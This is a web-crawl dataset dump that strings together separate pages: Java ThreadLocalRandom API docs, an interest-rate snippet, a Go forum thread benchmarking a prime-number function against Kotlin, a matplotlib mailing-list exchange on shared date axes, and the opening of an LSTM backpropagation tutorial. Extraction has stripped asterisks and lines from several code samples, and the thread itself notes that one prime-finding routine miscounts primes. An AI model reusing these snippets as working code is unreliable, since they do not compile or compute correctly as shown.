(inclusive) and bound (exclusive).\n`LongStream` `longs()`\nReturns an effectively unlimited stream of pseudorandom `long` values.\n`LongStream` `longs(long streamSize)`\nReturns a stream producing the given `streamSize` number of pseudorandom `long` values.\n`LongStream` ```longs(long randomNumberOrigin, long randomNumberBound)```\nReturns an effectively unlimited stream of pseudorandom `long` values, each conforming to the given origin (inclusive) and bound (exclusive).\n`LongStream` ```longs(long streamSize, long randomNumberOrigin, long randomNumberBound)```\nReturns a stream producing the given `streamSize` number of pseudorandom `long`, each conforming to the given origin (inclusive) and bound (exclusive).\n`protected int` `next(int bits)`\nGenerates the next pseudorandom number.\n`boolean` `nextBoolean()`\nReturns a pseudorandom `boolean` value.\n`double` `nextDouble()`\nReturns a pseudorandom `double` value between zero (inclusive) and one (exclusive).\n`double` `nextDouble(double bound)`\nReturns a pseudorandom `double` value between 0.0 (inclusive) and the specified bound (exclusive).\n`double` ```nextDouble(double origin, double bound)```\nReturns a pseudorandom `double` value between the specified origin (inclusive) and bound (exclusive).\n`float` `nextFloat()`\nReturns a pseudorandom `float` value between zero (inclusive) and one (exclusive).\n`double` `nextGaussian()`\nReturns the next pseudorandom, Gaussian (\"normally\") distributed `double` value with mean `0.0` and standard deviation `1.0` from this random number generator's sequence.\n`int` `nextInt()`\nReturns a pseudorandom `int` value.\n`int` `nextInt(int bound)`\nReturns a pseudorandom `int` value between zero (inclusive) and the specified bound (exclusive).\n`int` ```nextInt(int origin, int bound)```\nReturns a pseudorandom `int` value between the specified origin (inclusive) and the specified bound (exclusive).\n`long` `nextLong()`\nReturns a pseudorandom `long` value.\n`long` `nextLong(long bound)`\nReturns a pseudorandom `long` value between zero (inclusive) and the specified bound (exclusive).\n`long` ```nextLong(long origin, long bound)```\nReturns a pseudorandom `long` value between the specified origin (inclusive) and the specified bound (exclusive).\n`void` `setSeed(long seed)`\nThrows `UnsupportedOperationException`.\n• ### Methods inherited from class java.util.Random\n\n`nextBytes`\n• ### Methods inherited from class java.lang.Object\n\n`clone, equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait`\n• ### Method Detail\n\n• #### current\n\n`public static ThreadLocalRandom current()`\nReturns the current thread's `ThreadLocalRandom`.\nReturns:\nthe current thread's `ThreadLocalRandom`\n• #### setSeed\n\n`public void setSeed(long seed)`\nThrows `UnsupportedOperationException`. Setting seeds in this generator is not supported.\nOverrides:\n`setSeed` in class `Random`\nParameters:\n`seed` - the initial seed\nThrows:\n`UnsupportedOperationException` - always\n• #### next\n\n`protected int next(int bits)`\nDescription copied from class: `Random`\nGenerates the next pseudorandom number. Subclasses should override this, as this is used by all other methods.\n\nThe general contract of `next` is that it returns an `int` value and if the argument `bits` is between `1` and `32` (inclusive), then that many low-order bits of the returned value will be (approximately) independently chosen bit values, each of which is (approximately) equally likely to be `0` or `1`. The method `next` is implemented by class `Random` by atomically updating the seed to\n\n`` (seed * 0x5DEECE66DL + 0xBL) & ((1L << 48) - 1)``\nand returning\n`` (int)(seed >>> (48 - bits))`.`\nThis is a linear congruential pseudorandom number generator, as defined by D. H. Lehmer and described by Donald E. Knuth in The Art of Computer Programming, Volume 3: Seminumerical Algorithms, section 3.2.1.\nOverrides:\n`next` in class `Random`\nParameters:\n`bits` - random bits\nReturns:\nthe next pseudorandom value from this random number generator's sequence\n• #### nextInt\n\n`public int nextInt()`\nReturns a pseudorandom `int` value.\nOverrides:\n`nextInt` in class `Random`\nReturns:\na pseudorandom `int` value\n• #### nextInt\n\n`public int nextInt(int bound)`\nReturns a pseudorandom `int` value between zero (inclusive) and the specified bound (exclusive).\nOverrides:\n`nextInt` in class `Random`\nParameters:\n`bound` - the upper bound (exclusive). Must be positive.\nReturns:\na pseudorandom `int` value between zero (inclusive) and the bound (exclusive)\nThrows:\n`IllegalArgumentException` - if `bound` is not positive\n• #### nextInt\n\n```public int nextInt(int origin,\nint bound)```\nReturns a pseudorandom `int` value between the specified origin (inclusive) and the specified bound (exclusive).\nParameters:\n`origin` - the least value returned\n`bound` - the upper bound (exclusive)\nReturns:\na pseudorandom `int` value between the origin (inclusive) and the bound (exclusive)\nThrows:\n`IllegalArgumentException` - if `origin` is greater than or equal to `bound`\n• #### nextLong\n\n`public long nextLong()`\nReturns a pseudorandom `long` value.\nOverrides:\n`nextLong` in class `Random`\nReturns:\na pseudorandom `long` value\n• #### nextLong\n\n`public long nextLong(long bound)`\nReturns a pseudorandom `long` value between zero (inclusive) and the specified bound (exclusive).\nParameters:\n`bound` - the upper bound (exclusive). Must be positive.\nReturns:\na pseudorandom `long` value between zero (inclusive) and the bound (exclusive)\nThrows:\n`IllegalArgumentException` - if `bound` is not positive\n• #### nextLong\n\n```public long nextLong(long origin,\nlong bound)```\nReturns a pseudorandom `long` value between the specified origin (inclusive) and the specified bound (exclusive).\nParameters:\n`origin` - the least value returned\n`bound` - the upper bound (exclusive)\nReturns:\na pseudorandom `long` value between the origin (inclusive) and the bound (exclusive)\nThrows:\n`IllegalArgumentException` - if `origin` is greater than or equal to `bound`\n• #### nextDouble\n\n`public double nextDouble()`\nReturns a pseudorandom `double` value between zero (inclusive) and one (exclusive).\nOverrides:\n`nextDouble` in class `Random`\nReturns:\na pseudorandom `double` value between zero (inclusive) and one (exclusive)\n`Math.random()`\n• #### nextDouble\n\n`public double nextDouble(double bound)`\nReturns a pseudorandom `double` value between 0.0 (inclusive) and the specified bound (exclusive).\nParameters:\n`bound` - the upper bound (exclusive). Must be positive.\nReturns:\na pseudorandom `double` value between zero (inclusive) and the bound (exclusive)\nThrows:\n`IllegalArgumentException` - if `bound` is not positive\n• #### nextDouble\n\n```public double nextDouble(double origin,\ndouble bound)```\nReturns a pseudorandom `double` value between the specified origin (inclusive) and bound (exclusive).\nParameters:\n`origin` - the least value returned\n`bound` - the upper bound (exclusive)\nReturns:\na pseudorandom `double` value between the origin (inclusive) and the bound (exclusive)\nThrows:\n`IllegalArgumentException` - if `origin` is greater than or equal to `bound`\n• #### nextBoolean\n\n`public boolean nextBoolean()`\nReturns a pseudorandom `boolean` value.\nOverrides:\n`nextBoolean` in class `Random`\nReturns:\na pseudorandom `boolean` value\n• #### nextFloat\n\n`public float nextFloat()`\nReturns a pseudorandom `float` value between zero (inclusive) and one (exclusive).\nOverrides:\n`nextFloat` in class `Random`\nReturns:\na pseudorandom `float` value between zero (inclusive) and one (exclusive)\n• #### nextGaussian\n\n`public double nextGaussian()`\nDescription copied from class: `Random`\nReturns the next pseudorandom, Gaussian (\"normally\") distributed `double` value with mean `0.0` and standard deviation `1.0` from this random number generator's sequence.\n\nThe general contract of `nextGaussian` is that one `double` value, chosen from (approximately) the usual normal distribution with mean `0.0` and standard deviation `1.0`, is pseudorandomly generated and returned.\n\nThe method `nextGaussian` is implemented by class `Random` as if by a threadsafe version of the following:\n\n``` ```\nprivate double nextNextGaussian;\nprivate boolean haveNextNextGaussian = false;\n\npublic double nextGaussian() {\nif (haveNextNextGaussian) {\nhaveNextNextGaussian = false;\nreturn nextNextGaussian;\n} else {\ndouble v1, v2, s;\ndo {\nv1 = 2 * nextDouble() - 1; // between -1.0 and 1.0\nv2 = 2 * nextDouble() - 1; // between -1.0 and 1.0\ns = v1 * v1 + v2 * v2;\n} while (s >= 1 \|\| s == 0);\ndouble multiplier = StrictMath.sqrt(-2 * StrictMath.log(s)/s);\nnextNextGaussian = v2 * multiplier;\nhaveNextNextGaussian = true;\nreturn v1 * multiplier;\n}\n}``````\nThis uses the polar method of G. E. P. Box, M. E. Muller, and G. Marsaglia, as described by Donald E. Knuth in The Art of Computer Programming, Volume 3: Seminumerical Algorithms, section 3.4.1, subsection C, algorithm P. Note that it generates two independent values at the cost of only one call to `StrictMath.log` and one call to `StrictMath.sqrt`.\nOverrides:\n`nextGaussian` in class `Random`\nReturns:\nthe next pseudorandom, Gaussian (\"normally\") distributed `double` value with mean `0.0` and standard deviation `1.0` from this random number generator's sequence\n• #### ints\n\n`public IntStream ints(long streamSize)`\nReturns a stream producing the given `streamSize` number of pseudorandom `int` values.\nOverrides:\n`ints` in class `Random`\nParameters:\n`streamSize` - the number of values to generate\nReturns:\na stream of pseudorandom `int` values\nThrows:\n`IllegalArgumentException` - if `streamSize` is less than zero\nSince:\n1.8\n• #### ints\n\n`public IntStream ints()`\nReturns an effectively unlimited stream of pseudorandom `int` values.\nOverrides:\n`ints` in class `Random`\nImplementation Note:\nThis method is implemented to be equivalent to `ints(Long.MAX_VALUE)`.\nReturns:\na stream of pseudorandom `int` values\nSince:\n1.8\n• #### ints\n\n```public IntStream ints(long streamSize,\nint randomNumberOrigin,\nint randomNumberBound)```\nReturns a stream producing the given `streamSize` number of pseudorandom `int` values, each conforming to the given origin (inclusive) and bound (exclusive).\nOverrides:\n`ints` in class `Random`\nParameters:\n`streamSize` - the number of values to generate\n`randomNumberOrigin` - the origin (inclusive) of each random value\n`randomNumberBound` - the bound (exclusive) of each random value\nReturns:\na stream of pseudorandom `int` values, each with the given origin (inclusive) and bound (exclusive)\nThrows:\n`IllegalArgumentException` - if `streamSize` is less than zero, or `randomNumberOrigin` is greater than or equal to `randomNumberBound`\nSince:\n1.8\n• #### ints\n\n```public IntStream ints(int randomNumberOrigin,\nint randomNumberBound)```\nReturns an effectively unlimited stream of pseudorandom `int` values, each conforming to the given origin (inclusive) and bound (exclusive).\nOverrides:\n`ints` in class `Random`\nImplementation Note:\nThis method is implemented to be equivalent to `ints(Long.MAX_VALUE, randomNumberOrigin, randomNumberBound)`.\nParameters:\n`randomNumberOrigin` - the origin (inclusive) of each random value\n`randomNumberBound` - the bound (exclusive) of each random value\nReturns:\na stream of pseudorandom `int` values, each with the given origin (inclusive) and bound (exclusive)\nThrows:\n`IllegalArgumentException` - if `randomNumberOrigin` is greater than or equal to `randomNumberBound`\nSince:\n1.8\n• #### longs\n\n`public LongStream longs(long streamSize)`\nReturns a stream producing the given `streamSize` number of pseudorandom `long` values.\nOverrides:\n`longs` in class `Random`\nParameters:\n`streamSize` - the number of values to generate\nReturns:\na stream of pseudorandom `long` values\nThrows:\n`IllegalArgumentException` - if `streamSize` is less than zero\nSince:\n1.8\n• #### longs\n\n`public LongStream longs()`\nReturns an effectively unlimited stream of pseudorandom `long` values.\nOverrides:\n`longs` in class `Random`\nImplementation Note:\nThis method is implemented to be equivalent to `longs(Long.MAX_VALUE)`.\nReturns:\na stream of pseudorandom `long` values\nSince:\n1.8\n• #### longs\n\n```public LongStream longs(long streamSize,\nlong randomNumberOrigin,\nlong randomNumberBound)```\nReturns a stream producing the given `streamSize` number of pseudorandom `long`, each conforming to the given origin (inclusive) and bound (exclusive).\nOverrides:\n`longs` in class `Random`\nParameters:\n`streamSize` - the number of values to generate\n`randomNumberOrigin` - the origin (inclusive) of each random value\n`randomNumberBound` - the bound (exclusive) of each random value\nReturns:\na stream of pseudorandom `long` values, each with the given origin (inclusive) and bound (exclusive)\nThrows:\n`IllegalArgumentException` - if `streamSize` is less than zero, or `randomNumberOrigin` is greater than or equal to `randomNumberBound`\nSince:\n1.8\n• #### longs\n\n```public LongStream longs(long randomNumberOrigin,\nlong randomNumberBound)```\nReturns an effectively unlimited stream of pseudorandom `long` values, each conforming to the given origin (inclusive) and bound (exclusive).\nOverrides:\n`longs` in class `Random`\nImplementation Note:\nThis method is implemented to be equivalent to `longs(Long.MAX_VALUE, randomNumberOrigin, randomNumberBound)`.\nParameters:\n`randomNumberOrigin` - the origin (inclusive) of each random value\n`randomNumberBound` - the bound (exclusive) of each random value\nReturns:\na stream of pseudorandom `long` values, each with the given origin (inclusive) and bound (exclusive)\nThrows:\n`IllegalArgumentException` - if `randomNumberOrigin` is greater than or equal to `randomNumberBound`\nSince:\n1.8\n• #### doubles\n\n`public DoubleStream doubles(long streamSize)`\nReturns a stream producing the given `streamSize` number of pseudorandom `double` values, each between zero (inclusive) and one (exclusive).\nOverrides:\n`doubles` in class `Random`\nParameters:\n`streamSize` - the number of values to generate\nReturns:\na stream of `double` values\nThrows:\n`IllegalArgumentException` - if `streamSize` is less than zero\nSince:\n1.8\n• #### doubles\n\n`public DoubleStream doubles()`\nReturns an effectively unlimited stream of pseudorandom `double` values, each between zero (inclusive) and one (exclusive).\nOverrides:\n`doubles` in class `Random`\nImplementation Note:\nThis method is implemented to be equivalent to `doubles(Long.MAX_VALUE)`.\nReturns:\na stream of pseudorandom `double` values\nSince:\n1.8\n• #### doubles\n\n```public DoubleStream doubles(long streamSize,\ndouble randomNumberOrigin,\ndouble randomNumberBound)```\nReturns a stream producing the given `streamSize` number of pseudorandom `double` values, each conforming to the given origin (inclusive) and bound (exclusive).\nOverrides:\n`doubles` in class `Random`\nParameters:\n`streamSize` - the number of values to generate\n`randomNumberOrigin` - the origin (inclusive) of each random value\n`randomNumberBound` - the bound (exclusive) of each random value\nReturns:\na stream of pseudorandom `double` values, each with the given origin (inclusive) and bound (exclusive)\nThrows:\n`IllegalArgumentException` - if `streamSize` is less than zero\n`IllegalArgumentException` - if `randomNumberOrigin` is greater than or equal to `randomNumberBound`\nSince:\n1.8\n• #### doubles\n\n```public DoubleStream doubles(double randomNumberOrigin,\ndouble randomNumberBound)```\nReturns an effectively unlimited stream of pseudorandom `double` values, each conforming to the given origin (inclusive) and bound (exclusive).\nOverrides:\n`doubles` in class `Random`\nImplementation Note:\nThis method is implemented to be equivalent to `doubles(Long.MAX_VALUE, randomNumberOrigin, randomNumberBound)`.\nParameters:\n`randomNumberOrigin` - the origin (inclusive) of each random value\n`randomNumberBound` - the bound (exclusive) of each random value\nReturns:\na stream of pseudorandom `double` values, each with the given origin (inclusive) and bound (exclusive)\nThrows:\n`IllegalArgumentException` - if `randomNumberOrigin` is greater than or equal to `randomNumberBound`\nSince:\n1.8" ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.68853647,"math_prob":0.8175895,"size":14453,"snap":"2022-27-2022-33","text_gpt3_token_len":3287,"char_repetition_ratio":0.23468752,"word_repetition_ratio":0.50251,"special_character_ratio":0.19677575,"punctuation_ratio":0.106284656,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9810593,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-07-03T11:33:30Z\",\"WARC-Record-ID\":\"<urn:uuid:d7bc4795-cb6c-40d6-a022-c5e5511999be>\",\"Content-Length\":\"58354\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:40e1b2a7-5b4b-434f-bc17-bcce16a76f59>\",\"WARC-Concurrent-To\":\"<urn:uuid:5b17109a-b813-4102-b11e-305b001df39d>\",\"WARC-IP-Address\":\"202.125.102.131\",\"WARC-Target-URI\":\"https://curry.ateneo.net/javadocs/api/java/util/concurrent/ThreadLocalRandom.html\",\"WARC-Payload-Digest\":\"sha1:Q5HJEG3OTVPV2XA47CTNZCHQVZ53UNCD\",\"WARC-Block-Digest\":\"sha1:WCISLNKBKAJU2YMXQD4PSDAI3D7IADFI\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-27/CC-MAIN-2022-27_segments_1656104240553.67_warc_CC-MAIN-20220703104037-20220703134037-00041.warc.gz\"}"}
https://www.docslides.com/tawny-fly/annual-actual-interest-rate-calculation-formula-and-samples-banks-calc	[ "", null, "127K - views\n\n# ANNUAL ACTUAL INTEREST RATE CALCULATION FORMULA AND SAMPLES Banks calculate annu\n\nThe annual actual interest rate is the customers total expens es on crediting expressed by annual interest rate of the credit granted The a nnual actual interest rate is calculated by the following formula where i annual actual interest rate A in" ]	[ null, "https://www.docslides.com/dplay.png", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.89290214,"math_prob":0.98464376,"size":1055,"snap":"2020-45-2020-50","text_gpt3_token_len":211,"char_repetition_ratio":0.17792578,"word_repetition_ratio":0.44970414,"special_character_ratio":0.18957347,"punctuation_ratio":0.069518715,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99889416,"pos_list":[0,1,2],"im_url_duplicate_count":[null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-10-21T21:53:49Z\",\"WARC-Record-ID\":\"<urn:uuid:42c5ee06-2b20-47fc-96c7-4c5bef713c6b>\",\"Content-Length\":\"25342\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:6884250b-3272-428f-888f-23eadcc29d42>\",\"WARC-Concurrent-To\":\"<urn:uuid:2fac370c-d85d-436f-a9be-0d5e5a230f09>\",\"WARC-IP-Address\":\"107.180.57.28\",\"WARC-Target-URI\":\"https://www.docslides.com/tawny-fly/annual-actual-interest-rate-calculation-formula-and-samples-banks-calc\",\"WARC-Payload-Digest\":\"sha1:EJWTPL2OSAJFRVWBBBOO2F7V4FJSYEJX\",\"WARC-Block-Digest\":\"sha1:2K3GJ5BRSMROWZ5NIYIN6JFPRCGLGBDK\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-45/CC-MAIN-2020-45_segments_1603107878633.8_warc_CC-MAIN-20201021205955-20201021235955-00264.warc.gz\"}"}
https://forum.golangbridge.org/t/go-vs-kotlin-performance-nth-prime-calculation/17022	[ "", null, "# Go vs Kotlin Performance - Nth Prime Calculation\n\n(Luke Bullard) #1\n\nI was doing a test comparison in performance between Go and Kotlin and decided to test out how the two compare in regards to calculating the `N`th prime number. From my testing, I found that on average, Go took around twice the amount of time to calculate any `N`th prime number that Kotlin took. For instance, if Kotlin took `~250,000ns` to calculate the 100th prime, then Go took `~500,000ns`.\n\nAs an aside, I’m aware of optimizations of calculating the `N`th prime number, such as the Sieve of Eratosthenes, but I was originally using these two functions to simulate heavy computational work in a RESTful microservice. I posted the two functions I used below.\n\nIs Kotlin simply faster than Go in this regard? Or is there something else I’m missing?\n\nThank you so much\n\n`````` fun simplePrime(primeN : Int) : Int {\nvar primeI = 0\nvar currNum = 1\nwhile (primeI < primeN) {\ncurrNum += 1\nvar isPrime = true\nfor (i in 2..currNum/2) {\nif (num % i == 0) {\nisPrime = false\nbreak\n}\n}\nif (isPrime) {\nprimeI += 1\n}\n}\nreturn currNum\n}\n``````\n``````func getNthPrime(num int) int {\ncurrNum := 1\ncurrNum++\nisPrime := true\nfor i := 2; i < currNum/2; i++ {\nif currNum % i == 0 {\nisPrime = false\nbreak\n}\n}\nif isPrime {\n}\n}\n}\n``````\n\n(Lucas Bremgartner) #2\n\nThe code in Kotlin and the code in Go are not the same. In Go the loop condition should be\n\n`for i := 2; i < currNum/2; i++`\n\nto be on par with the Kotlin version. With that fix, the time for the Go code is actually cut by ~50%, so I guess Kotlin and Go are more or less on par.\n\nBeside of this, I suggest to use the same var names in both versions, which would make it easier to compare the code. I think the Kotlin code does have some typos as well: I guess the var `num` should be `currNum`.\n\n(Luke Bullard) #3\n\nSorry, I didn’t post the same version of the function. I’ll update the post.\n\nI originally had them both iterating through the entire set of numbers, but changed optimized it a bit to be more realistic, but I didn’t realize I posted the optimized version for Kotlin and not for Go. But for the numbers and data I found, I tested using the “optimized” function for both.\n\n(Lucas Bremgartner) #4\n\nIn this case you have to share some more details about how you actually performed the benchmarks.\n\nJust as a side note, it can be pretty hard to get a meaningful comparison of the same algorithm in two different programming languages. It all depends on what exactly is measured, how many runs of the function under tests are executed (e.g. are CPU caches cold or warm), etc.\n\n(Luke Bullard) #5\n\nI ran the comparison tests on a private server, with an Intel XEON-E3-1270-V3-Haswell 3.5GHz processor and 2x 4GB Kingston 4GB DDR3 1Rx8. I had swap disabled, and I ran tests of several thousand iterations. For each iteration, I slept for a second in between each run. I timed the functions simply by wrapping the function around calls to `nanoTime` and calculating the difference, which I’m aware could be flawed but regardless, don’t think it could account for the difference I noted. No CPU intensive background processes were running (~100% Idle)\n\nMy results:\n\n-With `n=100`,\n\n• Go: ~600,000ns per iteration\n• Kotlin: ~300,000ns per iteration\n-With `n=1000`\n• Go: ~50,000,000ns per iteration\n• Kotlin: ~25,000,000ns per iteration\n\nOther performance tests I did suggested Go performed better than Kotlin (Bubble sort, String -> Hashmap), but I guess I was mainly wondering if there was something I was doing fundamentally wrong, or if Go struggles in performance in certain scenarios such as this.\n\n(Lucas Bremgartner) #6\n\nWith my dated notebook (with Intel® Core™ i5-6200U CPU @ 2.30GHz, not idle at all) and the following benchmark:\n\n``````package nthprime\n\nimport \"testing\"\n\nvar result int\n\nfunc getNthPrime(num int) int {\ncurrNum := 1\ncurrNum++\nisPrime := true\nfor i := 2; i < currNum / 2; i++ {\nif currNum%i == 0 {\nisPrime = false\nbreak\n}\n}\nif isPrime {\n}\n}\n}\n\nfunc BenchmarkNthPrime(b testing.B) {\nvar r int\nfor i := 0; i < b.N; i++ {\nr = getNthPrime(100)\n}\nresult = r\n}\n``````\n\nI get the following results:\n\n``````\\$ go test -bench=. .\ngoos: linux\ngoarch: amd64\npkg: nthprime\nBenchmarkNthPrime-4 10000 151375 ns/op\nPASS\nok nthprime 1.532s\n``````\n\nBased on the CPU comparison at cpu.userbenchmark.com the Intel XEON is way better and still I get the better numbers per operation with my test on my laptop (~150000 ns/op).\n\n(Karl Benedict) #7\n\nthe algorithm thinks that 4 is a prime number?..", null, "(Luke Bullard) #8\n\nSo, if I run a Go benchmark, I get `~100,000ns` per iteration.\n\n``````goos: linux\ngoarch: amd64\nBenchmarkNthPrime-8 \t 10000\t 104896 ns/op\nPASS\n``````\n\nIf I run the Kotlin function using a Kotlin benchmark, I get `~40,000ns` per iteration.\n\nThe original test I had done involved reading input being fed in from another server, which fired a query every second, and then I averaged out all of the iterations. I’m guessing the difference is in regards to the test method?\n\nRegardless, the difference still exists. I’m assuming that in this specific scenario, Kotlin outperforms Go. I guess I’m just surprised there’s a significant difference for such a simple/common scenario.\n\n(Luke Bullard) #9\n\nuhhh are you implying it isn’t?", null, "Good thing I’m not using this code for anything", null, "(Karl Benedict) #10\n\nonly a little bit", null, "This code should do a little better I think.\n\n``````package main\n\nimport \"fmt\"\n\n// IsPrime ...\nfunc IsPrime(n int) bool {\nswitch {\ncase n == 2:\nreturn true\ncase n < 2 \|\| n%2 == 0:\nreturn false\n\ndefault:\nfor i := 3; ii <= n; i += 2 {\nif n%i == 0 {\nreturn false\n}\n}\n}\nreturn true\n}\n\nfunc getNthPrime(n int) int {\nvar result int = 2\nfor {\n\nif IsPrime(result) {\nn--\n}\n\nif n == 0 {\nreturn result\n}\n\nresult++\n}\n}\n\nfunc main() {\nfmt.Println(getNthPrime(100))\n}``````" ]	[ null, "https://forum.golangbridge.org/uploads/default/original/2X/b/b7c7c811a309cce5ab951588d4302faaa96553b5.png", null, "https://forum.golangbridge.org/images/emoji/google/slight_smile.png", null, "https://forum.golangbridge.org/images/emoji/google/thinking.png", null, "https://forum.golangbridge.org/images/emoji/google/sweat_smile.png", null, "https://forum.golangbridge.org/images/emoji/google/slight_smile.png", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.8502381,"math_prob":0.8389281,"size":1241,"snap":"2019-51-2020-05","text_gpt3_token_len":357,"char_repetition_ratio":0.1293452,"word_repetition_ratio":0.041666668,"special_character_ratio":0.29170024,"punctuation_ratio":0.1092437,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9538429,"pos_list":[0,1,2,3,4,5,6,7,8,9,10],"im_url_duplicate_count":[null,null,null,null,null,1,null,3,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-01-21T02:45:18Z\",\"WARC-Record-ID\":\"<urn:uuid:ce96caee-edfe-4298-9ad8-4f726f1f248b>\",\"Content-Length\":\"22295\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:68f3d97d-6e2a-4487-9d62-1d2f5b4e5a74>\",\"WARC-Concurrent-To\":\"<urn:uuid:9cff3446-1359-4af1-b54a-ba2cee06a247>\",\"WARC-IP-Address\":\"130.211.158.196\",\"WARC-Target-URI\":\"https://forum.golangbridge.org/t/go-vs-kotlin-performance-nth-prime-calculation/17022\",\"WARC-Payload-Digest\":\"sha1:GYOP4XRCUVICFHZLZWWSMOLSZT3EOEO4\",\"WARC-Block-Digest\":\"sha1:3LRLTOOGARMOT2DYECZDBURG7CUI5DRD\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-05/CC-MAIN-2020-05_segments_1579250601241.42_warc_CC-MAIN-20200121014531-20200121043531-00421.warc.gz\"}"}
https://discourse.matplotlib.org/t/plot-date-again/16556	[ "# plot_date again\n\nHi,\n\nIs it possible to force the date ticks to be the same in two different\nplots? For example, the attached figures cover the same time spans but\nin one, the data are weekly and the other, monthly. While there is\nnothing really wrong with different tick marks, aesthetically it would\nbe nice if they were both the same.\n\nThanks,\nTed\n\nYes, just use the “sharex” keyword to share the x-axis between the two. Not only will they have the same ticks and labels, but when you pan and zoom in one the other moves with it. The example below does not use dates, but it will work with dates just the same.\n\nimport matplotlib.pyplot as plt\n\nimport numpy as np\n\nfig1 = plt.figure(1)\n\nax1.plot(np.random.randn(10,2)10)\n\nfig2 = plt.figure(2)\n\nax2.plot(np.random.randn(10,2)10)\n\nplt.show()\n\nJDH\n\n···\n\nOn Wed, Feb 8, 2012 at 1:12 PM, Ted To <rainexpected@…3956…> wrote:\n\nIs it possible to force the date ticks to be the same in two different\n\nplots? For example, the attached figures cover the same time spans but\n\nin one, the data are weekly and the other, monthly. While there is\n\nnothing really wrong with different tick marks, aesthetically it would\n\nbe nice if they were both the same.\n\nThanks again, worked like a charm!\n\nCheers,\nTed\n\n···\n\nOn 02/08/2012 02:22 PM, John Hunter wrote:\n\nOn Wed, Feb 8, 2012 at 1:12 PM, Ted To <rainexpected@…3956… > <mailto:rainexpected@…3956…>> wrote:\n\nIs it possible to force the date ticks to be the same in two different\nplots? For example, the attached figures cover the same time spans but\nin one, the data are weekly and the other, monthly. While there is\nnothing really wrong with different tick marks, aesthetically it would\nbe nice if they were both the same.\n\nYes, just use the \"sharex\" keyword to share the x-axis between the two.\nNot only will they have the same ticks and labels, but when you pan and\nzoom in one the other moves with it. The example below does not use\ndates, but it will work with dates just the same.\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nfig1 = plt.figure(1)" ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.8921577,"math_prob":0.87903374,"size":1903,"snap":"2022-05-2022-21","text_gpt3_token_len":498,"char_repetition_ratio":0.12216956,"word_repetition_ratio":0.85276073,"special_character_ratio":0.2601156,"punctuation_ratio":0.14148681,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.95074785,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-05-21T17:52:00Z\",\"WARC-Record-ID\":\"<urn:uuid:35eccdac-94f5-41de-a4d9-285c7b90ebc2>\",\"Content-Length\":\"21059\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:38f0bed6-e411-4d4c-a213-1653a012bda0>\",\"WARC-Concurrent-To\":\"<urn:uuid:59632e29-874c-411f-82ce-afa355f9aeae>\",\"WARC-IP-Address\":\"165.22.13.220\",\"WARC-Target-URI\":\"https://discourse.matplotlib.org/t/plot-date-again/16556\",\"WARC-Payload-Digest\":\"sha1:MBTDNQSNOG3OIFG3OH2UKBX3KRPGIJNF\",\"WARC-Block-Digest\":\"sha1:Q2QQLSYCSAPE4A26F3UF2PV462U2OWJC\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-21/CC-MAIN-2022-21_segments_1652662540268.46_warc_CC-MAIN-20220521174536-20220521204536-00116.warc.gz\"}"}
http://datasciencehack.com/blog/2020/09/30/back-propagation-of-lstm/	[ "# Back propagation of LSTM: just get ready for the most tiresome part\n\nIn this article I will just give you some tips to get ready for the most tiresome part of understanding LSTM.\n\n### 1, Chain rules\n\nIn fact this article is virtually an article on chain rules of differentiation. Even if you have clear understandings on chain rules, I recommend you to take a look at this section. If you have written down all the equations of back propagation of DCL, you would have seen what chain rules are. Even simple chain rules for backprop of normal DCL can be difficult to some people, but when it comes to backprop of LSTM, it is a monster of chain rules. I think using graphical models would help you understand what chain rules are like. Graphical models are basically used to describe the relations of variables and functions in probabilistic models, so to be exact I am going to use “something like graphical models” in this article. Not that this is a common way to explain chain rules.\n\nFirst, let’s think about the simplest type of chain rule. Assume that you have a function $f=f(x)=f(x(y))$, and relations of the functions are displayed as the graphical model at the left side of the figure below. Variables are a type of function, so you should think that every node in graphical models denotes a function. Arrows in purple in the right side of the chart show how information propagate in differentiation.", null, "Next, if you a function $f$ , which has two variances $x_1$ and $x_2$. And both of the variances also share two variances $y_1$ and $y_2$. When you take partial differentiation of $f$ with respect to $y_1$ or $y_2$, the formula is a little tricky. Let’s think about how to calculate $\\frac{\\partial f}{\\partial y_1}$. The variance $y_1$ propagates to $f$ via $x_1$ and $x_2$. In this case the partial differentiation has two terms as below.", null, "In chain rules, you have to think about all the routes where a variance can propagate through. If you generalize chain rules, that is like below, and you need to understand chain rules in this way to understanding any types of back propagation.", null, "The figure above shows that if you calculate partial differentiation of $f$ with respect to $y_i$, the partial differentiation has $n$ terms in total because $y_i$ propagates to $f$ via $n$ variances.\n\n### 2, Chain rules in LSTM\n\nI would like you to remember the figure I used to show how errors propagate backward during backprop of simple RNNs. The errors at the last time step propagates only at the last time step.", null, "At RNN block level, the flows of errors are the same in LSTM backprop, but the flow of errors in each block is much more complicated in LSTM backprop.\n\n###", null, "", null, "", null, "", null, "", null, 